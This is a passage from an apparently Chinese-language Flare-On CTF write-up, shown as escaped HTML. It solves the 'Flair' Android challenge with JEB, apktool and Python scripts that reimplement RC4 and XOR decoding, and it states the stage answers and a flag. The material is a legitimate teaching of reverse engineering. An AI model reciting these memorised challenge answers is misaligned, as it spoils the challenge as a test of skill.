&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;In [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fromhex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;6D 75 64 64 31 6E 67 5F 62 79 5F 79 30 75 72 35 33 6C 70 68 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;In [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Out[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;mudd1ng_by_y0ur53lph@flare-on.com&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提交于&lt;code&gt;October 7th, 2:53:36 PM CST&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;flair&quot;&gt;Flair&lt;&#x2F;h2&gt;
&lt;p&gt;我一点Android也不懂，Java也不是太懂，但现代魔法的好处就在于，可以快速用JEB掌握 ；）&lt;&#x2F;p&gt;
&lt;p&gt;程序有四步，先来看第一步&lt;code&gt;Michael&lt;&#x2F;code&gt;。没有任何混淆，直接按照要求解出字符串&lt;code&gt;MYPRSHE__FTW&lt;&#x2F;code&gt;。注意，Java中&lt;code&gt;hashCode&lt;&#x2F;code&gt;算法描述里的&lt;code&gt;^&lt;&#x2F;code&gt;符号是数学中的意义，而不是C中的意义。&lt;&#x2F;p&gt;
&lt;p&gt;第二步&lt;code&gt;Brain&lt;&#x2F;code&gt;会读一些资源。用&lt;code&gt;apktool&lt;&#x2F;code&gt;解包后按照要求查找并填入格式化字符串，就得到了&lt;code&gt;hashtag_covfefe_Fajitas!&lt;&#x2F;code&gt;。注意中间的&lt;code&gt;fefe&lt;&#x2F;code&gt;是小写。&lt;&#x2F;p&gt;
&lt;p&gt;第三步&lt;code&gt;Milton&lt;&#x2F;code&gt;用了&lt;code&gt;Stapler&lt;&#x2F;code&gt;类中的一些方法，我写了组Python脚本，可以方便工作：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# from https:&#x2F;&#x2F;code.activestate.com&#x2F;recipes&#x2F;576736-rc4-arc4-arcfour-algorithm&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; rc4crypt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; box[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; (key[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(key)]))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        box[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box[x]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; box[x]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box[i]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    out&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; box[x])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        box[x]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box[y]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; box[y]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box[x]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        out&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(((char)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span&gt; box[(box[x]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; box[y])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;span&gt;]))    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; bytes&lt;&#x2F;span&gt;&lt;span&gt;(out)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# neapucx is just hexstring to bytes, we will not use it yet&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# poserw  is SHA1 digest. Just use python lib &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drdfg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; lambda&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;(x))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;vutfs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; lambda&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;z&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;rc4crypt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;drdfg&lt;&#x2F;span&gt;&lt;span&gt;(x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;y)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;z)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;#$%&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;()*+,-.&#x2F;0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;]^_`abcdefghijklmnopqrstuvwxyz{|}~&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; vutfs&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Zcj30d9jroqAN2mtzayVK0awaVTLnoXVcsjl9ujUAd22JiI9xfhqEW1BbkG3LsgQRoStjh+Eb6wTD4BwD9Kypa5ggXfHLWmFjFgERViV+5IRU4RbUPDUwYTivhsdZnA=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 17&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;for&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;iemm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; lambda&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([v0[v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;index&lt;&#x2F;span&gt;&lt;span&gt;(x[i])]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(x))])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在来看这一步。首先要给APP打四星，然后才能点按钮。你输入的值应该是下面这个字符串的SHA-1:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;JP+98sTB4Zt6q8g=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 56&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;State&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;rh6HkuflHmw5Rw==&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 96&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Chile&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;+BNtTP&#x2F;6&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 118&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;eagle&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;oLLoI7X&#x2F;jIp2+w==&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 33&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;wind&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;w&#x2F;MCnPD68xfjSCE=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 148&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;river&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;vutfs&lt;&#x2F;span&gt;&lt;span&gt;(e[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;e[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(e[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;ascii&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; j]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;字符串是 &lt;code&gt;A rich man is nothing but a poor man with money.&lt;&#x2F;code&gt;，SHA1是&lt;code&gt;10aea594831e0b42b956c578ef9a6d44ee39938d&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;第四步就麻烦一点，这个程序会从资源文件&lt;code&gt;tvps&lt;&#x2F;code&gt;中按照这个格式读数据：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    short&lt;&#x2F;span&gt;&lt;span&gt; Index&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    byte  Value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;} tvps[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;112&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;数据会被加载到Hashmap中并按照Index排序，然后拼接Value。时间仓促，写了段脚本：&lt;&#x2F;p&gt;
